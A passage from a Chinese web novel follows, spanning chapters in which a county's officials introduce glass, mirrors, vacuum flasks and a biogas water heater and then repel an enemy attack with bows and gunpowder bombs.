还有人则是一步步来,今日先改装地面,下个月改装墙壁,分开来就感觉花钱不那么心疼了。 这陆陆续续改装着,竟然风仙县内不少有房子的人,都将自家改装了一遍。 毕竟在风仙县就算是拿最低日薪的人一个月也能赚三两,刨除一两花销,二两银子也能改造一半了。 更别提不少人一个月便能赚七八两的,一个月就能给家里房子改得崭新。 既然吃喝不愁,那大伙自然就想把房子修得舒服。 一家修好了,别家看到效果好,有余钱的话,自然也惦记上了。 这玩意就和时尚一样,不需要人刻意引导,很快就风靡开来。 倒是很快,众人便发现这不少房子都成了水泥房子,一打眼看过去,不再是斑驳的砖墙,确实整齐。 至于大户人家,则还会在水泥外面再刷墙,好让颜色更好看。 不过手头紧的就暂时算了。 不日,玻璃厂产的玻璃被率先用在了县衙和街道上的沼气灯具上。 第280章 热水器雏形 当日,不知情的人则是个个出神的看着那县衙内的玻璃窗户。 ——那是贝母?这技巧得多好啊,这也太透了,一打眼看过去和没安装东西一样! 没去县衙附近溜达的人则是偶抬头去看灯,发现这灯更亮了,灯罩透明的,映照的里面的灯芯跳动着。 一时间,风仙县众人均是震撼不已。 街道上充斥着“贝母如何打磨得这般透亮”“都用贝母是不是太奢侈了”诸如此类的言论。 而很快,在第二日的报纸版块则是说明了这物为何。 玻璃。 联想到先前招工的玻璃厂,此刻众人才在脑内将这两样东西对上号。 原来玻璃厂生产的是这玩意?这好啊,看着还要比那昂贵的贝母看着还要透亮! 除了介绍此物,报纸上自然也给这物定了价。 目前若是想要修缮窗户所花费的一块玻璃,价格大约在一两一块玻璃。 当然,仅仅是一扇窗户的价格,正常的话,改造一面窗户需要两块玻璃,那便是二两。 这比水泥贵,但话又说回来了,这价格可比云母等物便宜太多了。 属于努努力,就能给家里换上透亮玻璃的程度。 话说回这玻璃厂,这定价还算很合理,毕竟如今玻璃制作复杂,实在是不是那么好生产的。 价格稍微高一些可以缓和一下供需压力。 上面写得很清楚,在下个月的一号就可以对私人进行售卖了,如今的话,这玻璃自然被官方悉数垄断。 但为了预测日后需求,现在可以先行预定了。 本以为预定玻璃的不会太多,但事实上,预购的本子写满了好几个,还源源不断的在增加。 大户们自然要多买一些,家里不够透亮的地方全部换成玻璃。 而手头稍微有些钱的,也决定买几块将家里改造一番,要知道光线进多了,便让人浑身痛快。 于是就这样,玻璃厂开始生产了。 至于第一批的玻璃,被管理农业试验田的人拿过去试着建温室去了。 玻璃透光率不错,能抗风保温,可进行反季节作物的试验和栽种培育,除了种植蔬果外,还被医馆也拿走建设了一片,用来种植一些脆弱的珍贵药材,如人参,石斛提供了合适的培育条件,可避免严寒和酷暑损伤。 除了这些外,玻璃还被段化抽空制作成放大镜和老花镜。 这当然是他在看到玻璃后才有的想法,以前他也有此类想法,但没有玻璃作为基础材料,属于是早就搁置的想法。 等到第一批放大镜和老花镜被送到医馆,工匠,等需要精细劳作的岗位。 除了这以外,段化还将原先的望远镜打磨一番,重新用玻璃替换了原先用贝母打磨的镜头,让整个望远镜的品质无限接近于完美。 段化还做了玻璃水准器等等水利上所需的测量工具,这些研制出来后,便可由别的工匠接手继续制作。 除了望远镜目前是军需物资不许随意售卖外,放大镜,老花镜倒是被段化摆在了自家店铺内,除了这些外,他还额外研究出了镜子——主要是采用锡汞齐法,将玻璃背后涂抹上锡汞齐,用棉布反复擦拭后静置一两天,而后用蜡或者油漆密封边缘,这镜子就算是做好了。 当然,这法子还是他从集闻楼内里的书上看来的,目前来说,大炎朝并未有此法,只有成本较为低廉的铜箔粘贴法,但此法不够清晰,且随着时间会越来越模糊,好处就在于材料简单容易获取,且操作很简单。 第一面镜子他给了自家妹妹,这镜子他做得上心,还额外给镶嵌在一雕花的银器内,看上去精细得不得了。 段萱第一次见镜子时简直惊为天人——这么多年了,她头一次这么清楚的看到自己的模样! 原先不过是用铜镜,亦或是清澈水面照过自己,脑内也有些印象,但总归不如这镜子来得生动清晰。 甚至连她脸庞上细腻的小绒毛都能看到。 段萱细细看了看自己的面庞,镜子里的小娘子跟着咧嘴又微笑,而后又催着自家哥哥多做几个,好放在店铺里售卖——这般好的东西若不售卖岂不是浪费? 谁不想一觉醒来就能清楚的看看自己的模样? 为了宣传,段萱让自家哥哥特意做了几块不同款式的,不同尺寸的镜子放在店铺内,好让人用来参考。 因制作镜子复杂一些,所以就算是一块女子常用的小化妆镜,价格也得一两一块。 毕竟一大块玻璃外面卖都要一两一块了,镜子搭配手工费,这价格实在不贵。 且镜子外面的壳子也可以定制。 段萱确实适合做生意,自己做的话实在费劲,她只让段化将那溶液研制出来,而后找小工给镜子背面涂抹。 因小工不是本行业的,自然不知道此物到底为何,只管乖乖涂抹。 至于镜子外面的壳子,她找了匠人合作,可做各种材质的,有木的,有金银,有铜,总之可选择性不少。 顺带着,段萱将花样也要了过来,放在自家柜台上,就等人过来看着挑选。 镜子是个稀罕物,几乎全县的人都跑来观看镜子了。 大伙也是头一次看到这镜子里的自己,个个好奇。 问价的问价,登记预购的登记,总归店里很是忙碌热闹。 段萱扫了一眼预购本,不少人选择的是购入木制的化妆镜,用来日常梳妆打扮使用。 也有需求多的,全部用银器打造镜子,而后打算给家里每个地都安排上一面,随时整理仪表。 这镜子很快便流行起来,除了在风仙县流行,别的几个县城也一样流行,且大伙没地方买就会去催促来往送货的商人们采购一些。 商贩们很是敏锐,这镜子若是卖到了别处,这可是能赚一笔大钱的! 这会各个抢着要第一批,但如今若是要大批量采购,需要证件。 至于这第一批,自然是出货供给了官府单位,其次便是来往幽州和黎州的官方商户。 因这批收入绝大多数是要被纳入官府财库,且日后用于本县各方面的建设,所以这些商户才有了优先购买权。 再加上出货量并不多,目前镜子市场一片火热。 因购买的人太多,段萱没想到自己居然能因为这个方大人见面,而后又晕乎乎的签了个合作共有的合同,开始便筹备镜子厂的建设。 不过她有现成的工匠,雕花壳子好做,至于涂抹也不费劲,招收简单,人这方面是没问题了,眼下就等着镜子厂建设完毕。 这厂子盖得飞快,面积和别的厂子相比不算大,除了先前和赵金构联合起来合作投资的染料坊,布坊外,镜子厂成了第二个官方和个人合作建立的厂子,目前来说,官府并不参与厂子管理,但拥有重大事项的一票否决权。 因风仙县厂子开设的多,所以目前本县已经处于不让继续建设的状况,所以这镜子厂是开在隔壁县的,可推动经济发展,带动就业。 其实这时候能人真不少,没过多久,玻璃厂就有人去找负责人阐述自己的新设想。 ——制作双层玻璃保温壶。 此人提出可用玻璃吹制技术制作内外瓶的结构,然后从瓶口向内瓶的外表面涂抹镜子那类东西(此人并不知晓镜子如何制作,但相信若是官府想要的话,自然能拿到),涂好后抽气密封,将双层玻璃瓶放入高温窑内加热至100度等内部空气迅速排除后,用软木塞和蜡密封瓶口,冷却后,瓶内便会形成低气压环境,最后再在外面编制藤编或者是铜壳作为保护即可。 此人倒是天马行空。“此物若是能成功的话,我认为,即便是冬日,也可让沸水保温2个时辰左右,夏日的话,保温3,4个时辰不是问题。” 负责人自然将此事汇报给更上面的人,得到的回复是可试试。 那涂抹的锡汞齐溶液很快也到位,就等着此人大展身手。 此人名为李三水,在试验了好几日后,总算是试出了一个完成品。 这保温瓶完全符合了他的设想,如今是夏日,的确做到了将热水完全保温了近4个时辰,非常了不得。 李三水并非风仙县人士,他是当初从明州别的区域跑过来的流民。 他原先便是工匠出身,后来又自己上了夜校——这适合他们这种日常上工赚钱的人。 这书越读越多,李三水倒也聪慧,左思右想,竟然是想到了这保温瓶的设想。 如今倒还真被他做了出来。 这保温瓶的效果很快便被方知意知晓,在她看来,保温瓶的出现很好的节省了能源,不需要再一次次烧水,且对于百姓生活质量的提升定然是一大截。 很快,李三水此人便往上走了走,成了保温瓶制作项目的负责人。 此项目自然要继续招兵买马,更多的人被填充进来,而后一个个保温瓶被生产出来。 至于保温瓶的外壳制作分为两个方向,藤编的话,则是完全交给了附近上了岁数的,会做手工的老人们,也是计件算工资,价格给得很合理。 而铜制的外壳,这活计被送到了铁匠坊内。 话说这李三水确实是个奇才,他在安稳生产了没几日后,又有了新的想法。 ——既然做小的保温壶,那若是做大的保温壶,是不是便可以做到随时有温水洗漱了? 他蹙眉思索近一个月,倒是终于将脑内的卡点逐渐联合起来。 若是想做这东西,必须要从三部分进行,加热结构,保温储水结构,控温和循环结构。 加热结构自然是要采用耐烧的材料,比如陶瓷就不错,可让沼气管的沼气烧着陶瓷罐,等到内部加热成热水后即可。 为了防止火焰乱飘,李三水觉得还应该给这火焰加个罩子。 至于保温储水结构便是他想的大一号版本的保温瓶,外面可包裹竹编和羊毛毡,减少热量流失。 这一部分还算简单,毕竟如今他有信心能将这部分复刻。 而最费劲的就是第三步,控温和循环结构。 先前他想的是这一步可以没有,但每次都费劲巴拉的得人看着往里面加水,又等烧好水再将水弄出来放入保温罐子内实在是费劲,所以他一直在琢磨该怎么办。 最后总算是想到了办法。 可在加热罐的顶部连接一根导管,通往保温储水的罐子。 且还需要在加热罐内装一个浮球,浮球连接着杠杆阀门,水位低时杠杆自动打开进水口,避免干烧,水位高时,便会关闭,防止溢出。 这样起码会更轻松省心。 想想看,只要家里接入了这装置,便可以每日回到家烧水洗漱,其内的热水可维持到第二日洗漱出门上工,实在是方便许多。 不过若是想要改造成功,这估计得需要沼气池那边也稍作修改,这样势必需要官方去审核查验安全与否。 想到种种,李三水立即兴奋的将此想法告知上层。 而很快,方知意也得到了这一大胆设想。 ——有趣。原先本县的洗浴不过是模仿当日她所见的潜灵山上的沐浴喷头,实际上里面的热水都是人提前混合好放进去的,可谓是只模仿了形而非内部。 如今这李三水提出的法子倒是有趣,若真能成功,这是个巨大的改善。 方知意从不是什么犹豫的人,既然要做,便要做得最好。 李三水被委以重任,甚至方知意还找了沼气管道的负责人和他一起研究,力图将方便,安全,全部考虑进去。 在李三水负责研究此物时,风仙县先被他研制出来的保温瓶喜得几乎泫然欲泣。 “那保温瓶你们买了没?虽说价格不便宜,但有了此物实在是方便许多。我回家后洗漱烧了热水,顺带往里面装满了水,结果到第二天早晨,里面的水还热着呢!” 这是在本县收入还不错的,也乐意花钱体验的。 自然立马有人追问。 “真的?这多方便啊,现在还是夏天,等往后冬天了,得多舒坦。你说的价格贵,是多少钱?” “一两半一个内胆,外壳可以选,藤编的最便宜的是50文,铜质要贵,最便宜得600文了。起初投资买是有些贵,但要我说,这东西早买早享受,不说别的,这随时随地都能喝上点热水。 再说了,长期以往下去,这得省多少沼气费?” 不少人被这说法说得很是心动。 ——诚然对方所说,这保温壶是贵了一些,但它好用啊!日后算下来,总有一日能将钱省回来! 不少人被说得心动,这会赶忙眼巴巴的赶紧去买。 也有的人觉得贵了,心想过些日子再买,毕竟如今夏天,以往做饭时下面也烧水,连带着就将洗漱的水烧好了,或者直接用沼气烧水,这也不算麻烦,无非是多等一会而已。 众人难免叹气——如今虽说赚得多了,吃穿不愁了,但这额外的提升生活水平的花费可是不少啊! 一会是水泥改造,一会又是玻璃,一会又是镜子又是保温壶的,还真是风仙县赚钱风仙县花! 诚然死死攒着也行,但别人都有了就自家没有,心里总感觉不是那么回事。 再说了,这些东西贵岁贵点,但一旦投资了,那可是肉眼可见的生活水平上升一大截啊! 不仅仅是一种面子的象征,还能切实提升生活质量,一时间,众人心思火热,个个卖力赚钱,只盼着能快些将自家的房子也修好,也用上那新奇的镜子,保温壶 与此同时,玻璃在黎州,幽州,摇身一变成为价值千金的琉璃。《 》 280-290 第281章 热水 目前的话,前往黎州和幽州两支官方商队售卖的新奇物品为镜子,保温壶,和玻璃制品。 这些玻璃制品自然是做成了茶具,饭碗,香炉模样。 这也是后期玻璃厂新增设的方向之一,当然,这个方向目前来说并不是最重要的,毕竟现如今玻璃厂更要忙着做另外两个更有利的方向。 制作工艺品方向,则是完全是为了将这玻璃卖上价格。 杜百带着这批货前往黎州,等看到通透的琉璃,清晰的宝镜,还能保温的恒温壶。 谈天禄难免心思动容。 ——这些可都是一等一的好货。 琉璃用品虽说不算是必用品,恒温壶的话,一般也有下人时刻负责烧水,好让主人时刻都能用上热水。 但这宝镜可是暂且没有替代的。 原先的铜镜还算清晰,但和这宝镜一比,谁优谁劣一目了然。 在谈价时,杜百注意到这宝镜的价格最高,其次是琉璃,恒温壶要放在最后一位。 若是让杜百来看,她觉得应当是恒温壶和镜子放在前列才是。 等看那负责点茶的丫鬟恭敬的给她烹茶,杜百顿时就悟了。 这些人有家中负责伺候的人,时刻处于一种“恒温壶”的状态,所以自然对这恒温壶不是很需求。 杜百心想倒是她没考虑好了。 不过也无所谓,刚好这恒温壶本身产量就不多,如今运送过来,只不过是为了卖个好价而已。 等到最后将价格谈妥后,这恒温壶虽说总体需求没太多,但价格很高。 这便让杜百了解了下次该带什么东西来。 ——玻璃做的茶杯,碗筷,镜子。 不过这两样东西能用的时间很久,不能像昭华灯一样后续还能靠着加气赚钱,所以必须要在头一次就将钱赚了才是。 杜百要了个高价,因谈天禄有售出的路子,他倒是对这价格接受度良好,且从他的角度看来,这些东西就该价值不菲才对。 毕竟现在的器皿讲究一个透亮,更透就代表着这东西更稀少,更难以制作。 正是因为如此,杜百才要控制流入速度,省得因流入过多,被对方怀疑。 很快,谈天禄先将此物给干爹魏公公送了几份过去,由魏公公将此物再呈递给皇帝。 之后,黎州各个上层聚会,这三样新奇玩意便开始露头了。 起初众人是被那镜子惊诧,而后品茗时,看到对方拿出一套琉璃茶具,个个嫉妒得脸色发青。 ——如此透亮的琉璃,以往从来不曾见过,这在哪买的? 来参加宴会的,大都是同样喜好风雅的人物,一番打听知晓这东西难买后,众人便开始动了加价购买的念头。 这些人自诩自己既然是名士出身,自然需要对应的高雅之物衬托自己才是。 且因为这琉璃品茗能更好的观察茶叶形状和汤色,倒是一时间很受喜好品茗之人的欢迎。 至于那镜子,自然是受到了女子们的追捧。 这么说也不全对,因为眼下男子也好打扮,不过觉得此事难登大雅之堂,只能求着自家娘子给弄一块镜子,好带回去让他们夫妻二人用才是。 无论是镜子,亦或是琉璃都在黎州掀起了流行的风尚,至于恒温壶就差一些。 这东西只有家中下人不多,亦或是主人家本就是个急性子,等不及伺候的人才会去买。 至于幽州那边,售卖起来的模式倒是和黎州不相同。 首先是幽州他们并没有熟识的高官在,就算有,对于他们来说,也不好用,毕竟他们想要的是类似谈天禄那样省心的合作对象,知道主动往家里刨钱的那种人。 而幽州的话,本身这边不曾有熟人,且幽州新上任的虞珠暂且不了解此人性格。 原先不过是很表浅的接触过,所以并不能作为依据来判断。 不过从慎刑司口中得来的消息来看,这虞珠应该不会乐意看到自家地盘上充斥着别人家的商品,尤其这些东西都很贵,很新奇。 虞珠是个聪明人,绝对知晓这东西的最终目的,且售卖价格昂贵,这本身就是在削弱她地盘上的实力。 原先连锁加盟店的布料行业虽说也在幽州露了个头,但价格并没什么太大的变化,且布料行业不至于影响幽州整体发展。 最主要也是目前幽州还有更多更要紧的活计等着虞珠去做,对于布料行就算有整改处置的想法,她也得到最后期才行。 为预防万一,幽州地区的售卖方针便成了从各地的私人拍卖行接入,而后由这些人从中收取分成,再将其余钱带回去。 为了稳定这路子,起初商队自然想了办法,譬如这商队都是一群习武之人,且还是手握诸多符咒的习武之人。 若是普通商户,难免会被黑吃黑,只有有实力,让这些人忌惮,他们才不敢轻易打劫货品。 一开始时,对方的确想黑吃黑来着,在试探的一队人惨败收场后不敢轻举妄动。 再加上因第一次拍卖也赚了不少,所以不等当日,这拍卖行便自行奉上歉礼,日后便这样运行下去。 风仙县来的商行并未再去寻找新的合作对手,一来哪个都差不多,二来是这所拍卖行够大,实力够强,诸多考量后,自然还是继续和此拍卖行合作。 于是昭华灯,恒温壶,琉璃,包括镜子,等等新奇物件全部流入这拍卖行,而后又换成银两流出。 如今已成为这支固定商队前往幽州售卖货物的固定流程。 总体来看,和这拍卖行搭上后,这售卖的活计也变得轻松许多。 因这几样新奇的商品被官方商队带走售卖,赚取大量的银两充足本县的财库,至于其他小商人虽说眼热,但也知晓这些东西不能动——据说这些大商户都没能从这里面弄到多少好处。 这些均是被本县严令禁止售出的产品,谁也不敢私底下拿出去售卖,否则结局大概率是被赶出本县,失去仙人庇护。 时间过得飞快,在临近秋收前半个月,李三水总算彻底将自己脑内的想法研制成功,且将它完美应用到了本县。 目前,本县最先实现更改的是县衙以及其他官方。 等到公家的改造结束后,面对民众的改造才逐渐开放。 这加热器所需要的陶瓷罐自然交给了陶瓷厂去做,而在期间试验后,为了保护使用者的安全,李三水将这热水罐和人隔开,以免因突然炸开伤人,至于保温区域,也被仔细的隔开,均是将炸裂的可能性考量了进去。 若是想要这加热装置,自然是要采购一整套的“热水器”。 采购“热水器”后,由他们派人前去检查沼气管道情况,而后再进行评估,若能安装的话,还要再出安装费,根据安装的难易程度定价。 当然,这定价绝对是透明的,由负责人将每项收费记录完善,留给购买者一份,自行留一份。 若是觉得收费不合理,可去县衙对应的负责部门提出异议。 这些日子,李三水联合不少人,将其中的这些事处理得明白。 很快,县衙内改造的洗漱间便点火试了试效果。 在水被烧开后,热水足足可以保持六个时辰,等最后流出来时,水还是温的。 若是冬季,想来也能保持四个时辰。 方知意倒是惊叹,此人竟真能将此物设计出来,并且这效果确实很好。 理应用于百姓生活中。 在得到方大人的认可后,这项目可算是能用于民间了。 在当日报纸的宣传下,热水器一词飞速受到众人提及。 “这热水器真像报纸所说的那般好?” “要我说和那保温瓶的道理差不多,但这热水器价格可是不便宜啊!” “这安装热水器包括购买热水器的配件,之后这安装费也是另外一笔钱,所以才会这般昂贵。只是不知为何这安装费会波动这般大?这没有个统一的价格,万一日后被坑了怎么办?” 那报纸上赫然写着,单是购买热水器便足足需要5两银子,且安装费大约在100文-500文之间,极特别情况需要现场计算。 “上面写了,若是对安装过程有异议,可以提出重查,且这安装了还会给开具票据,再说了,眼下谁敢在咱们县搞这些事?” 这倒是实话,风仙县内的条例严格,若犯了错,那律法可不是吃素的。 且本县办事效率极高,差不多早上犯事了,晚上就已经将人逮捕入狱了。 除了官员办事靠谱,最主要的监控手段也是仙师的术法,这术法会是底线,若是犯了底线,自然会被术法检测到抹杀。 既有官府亲自下场为这热水器担保,手头有余钱的人自然愿意试试。 当然,大部分还是大户人家开始试验。 这热水器安装得很快,等到真正用上后,就算是日常有伺候的人,他们依旧觉得方便无比。 ——毕竟以前就算是等人烧水,烧好了也得一些时间,而现在,这水只需要一天烧一次,便可以用一天。 这样的话,倒是可以不需要那么多的烧水工了。 除了这些大户最先购入外,少部分手头有些钱,又比较注重生活品质,愿意为这方面花钱的人试着购入。 这人里便包括刘逾恒和李知予。 一对新婚夫妇。 先前两人靠着原先攒下来的银两购入新房。 新房面积不算大,但好歹日后不需要租房,也算是有了个落脚处。 因房子位置较偏僻,不在风仙县相对繁华区域,所以此房子售价并不算高,大约为60两。 ——其实整体来看,风仙县的房价是涨价了许多,主要是因为人口涌入多,风仙县的住房需求增大,自然价格增高。 好在是两人收入都很不错,所以这房子购入虽说花光了存款,但日后工作很快便能将钱赚回来。 原先购房前,刘逾恒打算购入目前地理位置较好的房子,虽说价格翻倍,甚至翻两倍,但架不住那里位置好。 但被李知予劝了下来。 理由是她用六爻算过了,不日后,她们目前所在的街道也会纳入繁华区,日后房价定会涨。 刘逾恒还是很信妻子的,于是二人便选在了这处。 房子不算大,却被两人打理得温馨,前几日售卖镜子时,刘逾恒自然是给自家娘子也买了一个用。 镜子不便宜,她原打算下个月再买,倒是没想到,丈夫先买了回来。 刘逾恒想的却是,他家娘子浑身漂亮,那双眼睛尤其动人,若是不买镜子,娘子如何能知道自己很美? 等到刘逾恒将镜子递到妻子面前时,李知予总算是头一次看清楚镜中人。 ——眉眼弯弯,眼睛明亮,虽说如今干的活比先前轻松许多,但依旧不能算得上白净光滑,但也是元气满满。 镜子里的她并不美,只能说端正,只能说是丈夫的爱给她添加了一份魅力。 李知予心知肚明,却依旧觉得这生活很好。 安稳,平静,时不时还有些小惊喜。 这生活放在以前,是她连做梦都做不出来的一个美梦。 而眼下,她却是这样生活着的。 有了新的名字,有了房子,有了工作,日常吃喝不愁,还有值得安度一生的人。 而刘逾恒何尝不是如此。 若不是来到这里,他不过是一命比草贱的流民,但来到此地,他靠着努力,靠着学堂,有了如今的一切,说实话,刘逾恒觉得自己很幸运。 那日流亡的人那么多,不少人死在了前往风仙县的路上,他抱着必死的心,想着就算是死也要在踏上这风仙县的土地后再死,就这样熬了过来。 熬过来真好,他活着感受到了一切。 他不怕死,不怕疼,怕再次掉进以前毫无希望的地狱。 如今谁若是想拿走他拥有的一切,他想自己就算拼了命也会保护这一切。 第282章 开战 再说回那热水器。 风仙县真正买热水器的没多少人,而刘逾恒和李知予便是其中一个。 两人买热水器花了5两,因管道条件很好安装,所以收费只花了100文。 原先他们就将那浴室房子设在屋外,和厨房挨着,如今刚好安装这热水器,且还能顺路连通沼气管子。 此时的屋子层高都较高,所以这热水器安装上后也不会觉得很压抑。 等安装好后,收到了安装员拓印上公章的收据,刘逾恒和李知予二人仔细查看一番,确认无误后让安装员离开了。 这附近住的都是条件一般的人家,除了这对年轻的夫妻,别的人舍不得一下花5两去购置热水器,既然邻居开了热水器,他们自然想过来看个热闹,至少先看看这热水器到底是不是真像那报纸里说得那样好。 于是这些人挨个敲门,来两人家里参观。 都是邻居,日后难免走动,刘逾恒和李知予二人痛快开了门,让他们都瞧瞧看。 这几人拉着小孩,新奇的打量着热水器。 ——因热水器自带隔板的缘故,几人只能看到一个罐子,外面裹着藤编,倒也看上去耐看。 刘逾恒介绍:“这隔板上头还有一个,不过为了安全被隔开了。” 几人又看了过去,发现看不着索性作罢。 此刻刚好是黄昏,为了看看热水器的效果,刘逾恒和李知予自然点开阀门,让这热水器开始工作。 大概烧了不到半个时辰,这热水器的水便烧好了。 据那安装的人说,里面有个温控阀,会将热水和凉水混合成温水,不过为了安装,还是试试温度后再洗漱。 几人还在看着和这热水器配套的花洒,这花洒看着亮晶晶的,不知道怎么做的。 “这花洒和我工作的客栈一样,得花不少钱吧?” 一人开口试着问,心想这花洒不得也花个几百文铜板? 李知予笑着答:“没花钱,买热水器送的,说是前一百名购买都送配套的花洒和管子。” 要说他们也觉得这是意外之喜,稍微打听一下就知道送的东西也价值五六百文了,既然不用自己花钱买,那自然是送的更好。 听到这花洒竟然是送的,几人心里顿时也是羡慕,甚至隐约也生出了点想买的心思。 但又一想,何必为了这去购买5两的热水器,岂不是太浪费了。 理智告诉他们不该心动,但事实上,几人在看着那花洒内流出温热的水后,个个难掩兴奋。 尤其是在客栈工作的。 他们最知晓这洗澡有多舒服。 ——原先客栈是他们后勤烧好了热水和凉水混合在一起,如今有了热水器,前几日客栈早就换成了这热水器,相对来说,的确不需要他们花费更多精力去烧水了,于是做活内容变成了别的。 从烧水变成了检查管道是否损坏,省得弄伤客人。 从小夫妻家里出去,邻居自然心中神往,心想不若下个月攒点钱他们也买一个去? 而刘逾恒和李知予则是开始尝试着洗漱,中途直到临睡前,出来的水也是温热的。 第二日一早,刘逾恒先起来的,他试了试水温,发现虽说没有昨日热,但依旧比冷水洗漱好太多。 等到他做好饭菜,看娘子洗漱,吃完早饭后,二人这才结伴出门上工。 忙碌一天下工后,回家又试了一番,发现此时水就凉了。 点开阀门,让再烧个半个时辰,又能用到明日他们洗漱。 这几日倒陆陆续续有好几拨人来两人家参观热水器,因已用过几天了,李知予很轻易便能给其余人介绍一会。 “挺好用的,晚上回来我就打开烧半个时辰,能用到第二天,反正是足够我们两人洗漱用了。” 李知予大概计算过,若是冬季的话,也够用,毕竟夏季天气热,洗澡勤快,热水消耗得快,而冬季洗澡频率降低,热水自然消耗的慢,虽说温度会让热水器保温度下降,但应当也能坚持到第二日洗漱。 来来往往参观的人亲眼看到,又亲耳听到,心动得不得了,回了家个个琢磨着之后手头宽松了就去买热水器。 日子一晃而过,秋收到了。 成片的金黄色的大豆和春小麦在风中舞动,棉花在枝头炸开,红薯的秧苗也从黄色逐渐转为干枯的藤蔓。 农人在田地里忙碌着,大大小小的马车将粮食拉到对应的厂子,要么作为储备,要么作为原材料。 到处都是一片丰收的喜悦。 只是普通百姓不知晓的是,这秋收后正是最为紧迫的日子。 大概了解本县今年的收获后,方知意下令继续有条不紊的收购粮食,同时打探陈京行的动态。 前些日子,使者甘林还来过几次,方知意知道对方内心早就知晓真相。 不过是双方都在装傻充楞而已。 秋收后,不少农人便开始继续进行播种冬小麦,这批小麦会在来年六月份采收。 如今农田肥沃,百姓都是实在人,也不想浪费,于是还种了不少蔬菜,譬如耐寒叶菜,白菜萝卜菠菜这些,或者是根茎蔬菜,胡萝卜,芥菜,芜菁,亦或是作为调味品的葱蒜。 对于土壤不甚肥沃的区域,则是种上紫云英,苕子,来年春耕时翻入土内,增加土壤肥力。 总归众人忙碌得不可开交。 也有农人觉得终于是松了口气,正想着好好休整一阵子,毕竟秋收实在累人。 大伙计划都挺好,等缓过一阵子,便可以去找点零工干着,多少一日也能赚个百文补贴家用。 方知意收到了一封信。 这信是信鸽送来的,她扫了一眼陌生的鸽子,大概知晓这是谁送来的。 等到展开信封,果然是陈京行送来的问责信。 大意便是怀疑风仙县压根就是逗他玩,和他根本不是一伙的。 除了这些外,自然是撕破脸开始索要那十来万两白银。 当然,陈京行从未觉得这钱能要回来,所谓的问责不过是一封开战书,毕竟要开战也要寻个合适的理由和借口,自然将这背信弃义安到了风仙县身上。 方知意冷笑一声,提笔回他。 “乱臣贼子,人人得而诛之。” 要立场?她的立场比他正多了。 至于钱?方知意是一个字都不提,就让他急去吧! 这封信迅速被信鸽带回去,陈京行既然敢写信挑衅,自然也是做好了准备。 等到看清楚这信鸽写的东西后,他冷笑一声,心想这风仙县果然是投奔了朝廷。 ——朝廷如今难以将手伸得这般长,以为朝廷能帮风仙县? 笑话。 他确保那风仙县最近那所谓的仙人都不曾出现后,便开始择日选择进攻方向。 方知意在回信后,自然将先前训练好的军兵个个派往对应的关卡守着。 那些进攻点均有可能被列为首要攻击的点位。 对于这次作战,原先的道士通讯队自然是最为重要的力量。 若有这通讯符咒,她可在很短的时间内知晓偏远两地的消息,能灵活应用战术对抗敌军。 为应付陈京行可能的突袭,最近几个县的防守都增强了。 不少敏锐的百姓自然是察觉到不太平,街道上变得萧条了几分。 方知意顾不得管那些,她知道这场战斗她们不会输。 在十月底,陈京行麾下的三位将领带兵同时从玉县,冲县,百县发出进攻。 这三县均是他们研究出来的最为薄弱的区域。 无论是人力,兵力,还是地理位置,都是最容易被率先攻下的。 对方来势汹汹,但这几个县内的防守军兵反应更为迅速。 这消息几乎是瞬间被同步到了方知意耳里。 当夜,她所在的房间灯火通明,通讯道士正大致将内容汇报上来,而另一旁站着的是祝大人。 “他果然派兵从原先我等划分出来的薄弱点攻入了,守城的话,我们有信心能守住,等我等从这三处反攻后,我们应当从他境内的予县攻入,而后沿着南边这条路,一路攻打才是。 当然,兵分三路,分别从三个方向包抄他。” 这计划是她们早就算好的,先前对陈京行的进攻方式,两人讨论了许久,有好几个对应版本,如今赫然陈京行选用的便是其中的一种。 玉县城墙。 负责领兵的是陈京行麾下的一名大将,此人名为黄广,以凶残出名。 以往他便跟随着陈京行,帮着平定了数起不平之事,经验丰富。 此刻面对一小县,黄广也不曾掉以轻心。 等到负责攻墙的爪勾顺利勾在墙上,兵士们正往上攀爬时,黄广倒是死死盯着那城墙——得看看对方有没有察觉。 眼看还有三分之一的距离,黄广刚欣喜此战顺利时,突然一群官兵不知道从哪冒出来的,个个手持弓箭,很快,便是一发连射,将兵士们射死,跌下去。 黄广微微眯起眼睛,这箭不太对劲,连发快,几乎没有填装时间,新的改良弓箭? 而官兵则是听着柳叁的命令,先不用火铳,省得吓跑敌人。 话说柳叁是这次行动的三支首领之一。 此人对这方面颇为精通,方知意这才破例将他提拔上来。 其余两支队伍的将领,则都是有过经验的。 漆黑的夜,连发弓箭迅速收割着敌人的生命。 意识到不能这样被消耗后,黄广决定用人海战术,毕竟他此次带领的人很多,应付这个小县城足以。 等到看着城墙下乌压压一大片人涌来时,镇守城墙的官兵受过训练,但也头一次见到这场景,自然也是心里发毛。 ——若不是他们有秘密武器,如今遇到这般宛如蝗虫过境的大军,最后一定会被强攻下来! 柳叁计算着位置,冷声:“扔震天雷,像平常训练一样,往人群里扔!” 第283章 大捷 柳叁一声令下,早就经受过培训的众人纷纷扔下手中的震天雷,而后眼睁睁看着那震天雷在人群中炸开。 一切发生的很快,震天雷炸开时,敌人还在往前冲锋,手里拎着刀剑盾牌,已经做好了强行攻入的准备。 这盾牌能扛得住箭雨,他们正用盾牌防着箭雨,速度不慢的前进。 至于一会爬墙时也打算打头的拎着盾牌,身后的只需要躲在这盾牌后即可。 无论如何,对方人数要比他们少多了,而人多在打仗时自然是个巨大的优势。 所以此刻,敌军士气高涨。 直到轰隆一声巨响,火光炸开。 紧接着一股熟肉的焦味迎面而来,众人不自觉将眼神往发出动静的地方扫过去,结果就看到那堪称腥风血雨的一幕。 断肢鲜血混合着一股硫磺味炸开,不等众人细细分辨这到底是什么东西,紧接着,又传来数声“轰隆”炸开的声响。 拿着盾牌的人试图躲在盾牌后,但这盾牌可挡不住火药的威力,径直连人带着盾被炸飞出去。 原先还在继续往前冲锋的众人,此刻立即乱了阵脚,战场火光蔓延,一时间令人难以冷静。 因不知道下一枚弹药会落在何处,这些人很想扭头就跑,但奈何军令在先,若是他们跑了,日后黄将军,陈总督绝不会放过他们的。 冲锋还在继续,只是人数在震天雷的消耗下迅速减少。 伴随着鲜血和哀嚎,似乎要将这天叫醒。 黄广冷脸看着这一幕。 命人冲锋时他没想到敌人竟会有如此杀手锏。 这玩意不知道是怎么做的,炸开就能炸死近十来个人,先前他已经嘶吼过让手下们分散开来前进,不要聚集起来,给对方抱团打击的机会。 眼看士卒们分散着前进,但对方并未停止继续炸。 黄广心里一突——莫非是对方手头还有很多?所以才会这么随意的使用? 